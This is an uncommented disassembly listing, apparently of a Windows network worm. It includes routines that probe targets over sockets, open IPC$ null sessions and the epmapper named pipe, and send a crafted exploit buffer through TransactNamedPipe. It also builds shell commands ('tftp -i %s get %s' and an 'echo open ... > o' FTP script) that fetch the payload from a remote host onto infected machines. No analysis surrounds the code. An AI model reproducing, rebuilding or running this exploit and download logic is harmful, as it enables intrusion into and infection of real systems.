		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	dword_4211DC	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	dword_4211E0	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	dword_4211E4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402ECE
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402ECE
		mov	ebx, dword_4211F0
		push	edi
		push	89h
		push	offset dword_424970
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211EC
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_424A00
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_424AB0
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ECE
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402ED9
		dec	eax
		jz	short loc_402ED5


loc_402ECE:				; CODE XREF: sub_402DD1+57j
					; sub_402DD1+6Dj ...
		xor	eax, eax
		jmp	loc_402F6F
; ---------------------------------------------------------------------------


loc_402ED5:				; CODE XREF: sub_402DD1+FBj
		push	0
		jmp	short loc_402EFD
; ---------------------------------------------------------------------------


loc_402ED9:				; CODE XREF: sub_402DD1+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40297A
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F1D
		push	1


loc_402EFD:				; CODE XREF: sub_402DD1+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40297A
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F24


loc_402F1D:				; CODE XREF: sub_402DD1+128j
		mov	[ebp+var_8], 1


loc_402F24:				; CODE XREF: sub_402DD1+14Aj
		push	ebx
		call	dword_4211F4	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F6C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_402F6C:				; CODE XREF: sub_402DD1+15Ej
		xor	eax, eax
		inc	eax


loc_402F6F:				; CODE XREF: sub_402DD1+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033B6
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FC6
		test	eax, eax
		jz	short loc_402FC9


loc_402FC6:				; CODE XREF: seg001:00402FC0j
		xor	eax, eax
		inc	eax


loc_402FC9:				; CODE XREF: seg001:00402FC4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FCD	proc near		; CODE XREF: sub_4033B6+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_425638 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43B188
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43B184
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43C5F4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_403091
		cmp	eax, ebx
		jnz	short loc_40309B


loc_403091:				; CODE XREF: sub_402FCD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43C5F4


loc_40309B:				; CODE XREF: sub_402FCD+C2j
		cmp	eax, 5
		jz	short loc_4030A9
		cmp	eax, ebx
		jz	short loc_4030A9
		xor	eax, eax
		inc	eax
		jmp	short loc_4030AB
; ---------------------------------------------------------------------------


loc_4030A9:				; CODE XREF: sub_402FCD+D1j
					; sub_402FCD+D5j
		xor	eax, eax


loc_4030AB:				; CODE XREF: sub_402FCD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030B0	proc near		; CODE XREF: sub_4033B6+7Ap
					; sub_4033B6+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_425638 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43B188
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415BBF
		add	esp, 10h
		jmp	short loc_40314E
; ---------------------------------------------------------------------------


loc_403143:				; CODE XREF: sub_4030B0+AFj
		push	7D0h
		call	dword_421060	; Sleep


loc_40314E:				; CODE XREF: sub_4030B0+91j
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43C494
		test	eax, eax
		jnz	short loc_403143
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_4030B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403166	proc near		; CODE XREF: sub_4033B6+A6p
					; sub_4033B6+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415B90
		push	esi
		push	edi
		push	offset byte_42C2BC
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414C51
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033B2
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4153F0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4153F0
		lea	esi, [edi+0D7h]
		jmp	short loc_403228
; ---------------------------------------------------------------------------


loc_4031EA:				; CODE XREF: sub_403166+D0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4153F0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4153F0
		lea	esi, [esi+edi+30h]


loc_403228:				; CODE XREF: sub_403166+82j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_4031EA
		cmp	[ebp+arg_C4], 0
		jz	short loc_403253
		cmp	[ebp+arg_C0], 3
		jz	short loc_40325C
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40325A
; ---------------------------------------------------------------------------


loc_403253:				; CODE XREF: sub_403166+D9j
		cmp	[ebp+arg_C0], 3


loc_40325A:				; CODE XREF: sub_403166+EBj
		jnz	short loc_403265


loc_40325C:				; CODE XREF: sub_403166+E2j
		push	4
		push	offset dword_425634
		jmp	short loc_40326C
; ---------------------------------------------------------------------------


loc_403265:				; CODE XREF: sub_403166:loc_40325Aj
		push	4
		push	offset dword_425630


loc_40326C:				; CODE XREF: sub_403166+FDj
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425168
		push	eax
		call	sub_4153F0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4254CC
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4153F0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4254E0
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4153F0
		add	edi, 3Ch
		push	30h
		push	offset dword_425520
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4153F0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415BE9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415390
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4153F0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033B2:				; CODE XREF: sub_403166+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033B6	proc near		; CODE XREF: seg001:00402F93p
					; sub_4076CB+1D7p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415B90
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403524
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FCD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403634
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+arg_4]
		jnz	short loc_40343B


loc_40342F:				; CODE XREF: sub_4033B6+126j
		push	eax
		call	sub_4030B0
		pop	ecx
		jmp	loc_403634
; ---------------------------------------------------------------------------


loc_40343B:				; CODE XREF: sub_4033B6+77j
		push	2
		push	eax
		call	sub_412A1D
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403166
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034D0
		mov	edi, 186A0h
		push	edi
		call	sub_415BE9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415390
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_425118
		push	[ebp+var_4]
		call	dword_421074	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4034C0
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_4034E1


loc_4034C0:				; CODE XREF: sub_4033B6+F0j
		push	esi
		call	sub_415C9B
		push	[ebp+var_8]
		call	sub_415C9B
		pop	ecx
		pop	ecx


loc_4034D0:				; CODE XREF: sub_4033B6+B6j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		jmp	loc_40342F
; ---------------------------------------------------------------------------


loc_4034E1:				; CODE XREF: sub_4033B6+108j
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415C9B
		push	esi
		call	sub_415C9B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030B0
		cmp	edi, 1
		pop	ecx
		jnz	loc_403645
		jmp	loc_403634
; ---------------------------------------------------------------------------


loc_403524:				; CODE XREF: sub_4033B6+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412A1D
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403634
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43C5D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403634
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43C554
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43C594
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403166
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035B6
		push	[ebp+var_4]
		jmp	short loc_40362E
; ---------------------------------------------------------------------------


loc_4035B6:				; CODE XREF: sub_4033B6+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035CE


loc_4035CB:				; CODE XREF: sub_4033B6+22Aj
		push	esi
		jmp	short loc_403627
; ---------------------------------------------------------------------------


loc_4035CE:				; CODE XREF: sub_4033B6+213j
		push	ebx
		push	48h
		push	offset dword_425118
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035CB
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40360F
		push	[ebp+var_8]
		jmp	short loc_403627
; ---------------------------------------------------------------------------


loc_40360F:				; CODE XREF: sub_4033B6+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403638


loc_403627:				; CODE XREF: sub_4033B6+216j
					; sub_4033B6+257j
		call	sub_415C9B
		pop	ecx
		push	edi


loc_40362E:				; CODE XREF: sub_4033B6+1FEj
		call	dword_43C5EC


loc_403634:				; CODE XREF: sub_4033B6+31j
					; sub_4033B6+80j ...
		xor	eax, eax
		jmp	short loc_4036B1
; ---------------------------------------------------------------------------


loc_403638:				; CODE XREF: sub_4033B6+26Fj
		call	sub_415C9B
		pop	ecx
		push	edi
		call	dword_43C5EC


loc_403645:				; CODE XREF: sub_4033B6+163j
		xor	esi, esi


loc_403647:				; CODE XREF: sub_4033B6+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B158
		test	eax, eax
		pop	ecx
		jnz	short loc_40366B
		push	1388h
		call	dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_403647
		jmp	short loc_4036AE
; ---------------------------------------------------------------------------


loc_40366B:				; CODE XREF: sub_4033B6+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_403690
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_403690:				; CODE XREF: sub_4033B6+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_4036AE:				; CODE XREF: sub_4033B6+2B3j
		xor	eax, eax
		inc	eax


loc_4036B1:				; CODE XREF: sub_4033B6+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036B6	proc near		; DATA XREF: seg001:00423004o
		jmp	$+5
sub_4036B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036BB	proc near
		push	0BB80h
		push	76Ch
		call	sub_413F12
		pop	ecx
		mov	dword_43B18C, eax
		pop	ecx
		retn
sub_4036BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036D2	proc near		; CODE XREF: sub_403833+42Cp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43C594
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43B18C
		push	eax
		call	dword_43C554
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43C5D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40380C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40380C
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43C56C
		mov	esi, offset byte_42C2BC
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43B1A0
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40380C
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403810


loc_40380C:				; CODE XREF: sub_4036D2+51j
					; sub_4036D2+67j ...
		xor	al, al
		jmp	short loc_40382E
; ---------------------------------------------------------------------------


loc_403810:				; CODE XREF: sub_4036D2+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43C56C
		push	ebx
		call	dword_43C5EC
		mov	al, 1


loc_40382E:				; CODE XREF: sub_4036D2+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403833	proc near		; CODE XREF: sub_403C74+125p
					; sub_403C74+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415B90
		mov	eax, dword_425110
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425114
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_425104
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax


loc_40386C:				; CODE XREF: sub_403833+4Fj
		mov	cl, [ebp+eax+var_3C]
		mov	[ebp+eax*2+var_103], bl
		mov	[ebp+eax*2+var_104], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_40386C
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B58
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4153F0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415B10
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415B10
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4153F0
		mov	ax, word ptr dword_43B18C
		add	esp, 2Ch
		push	eax
		call	dword_43C554
		xor	eax, 9999h
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_425850
		call	sub_4153F0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A31
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F98[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4153F0
		mov	esi, offset loc_4257A0
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250FC
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4153F0
		add	esp, 40h
		push	esi
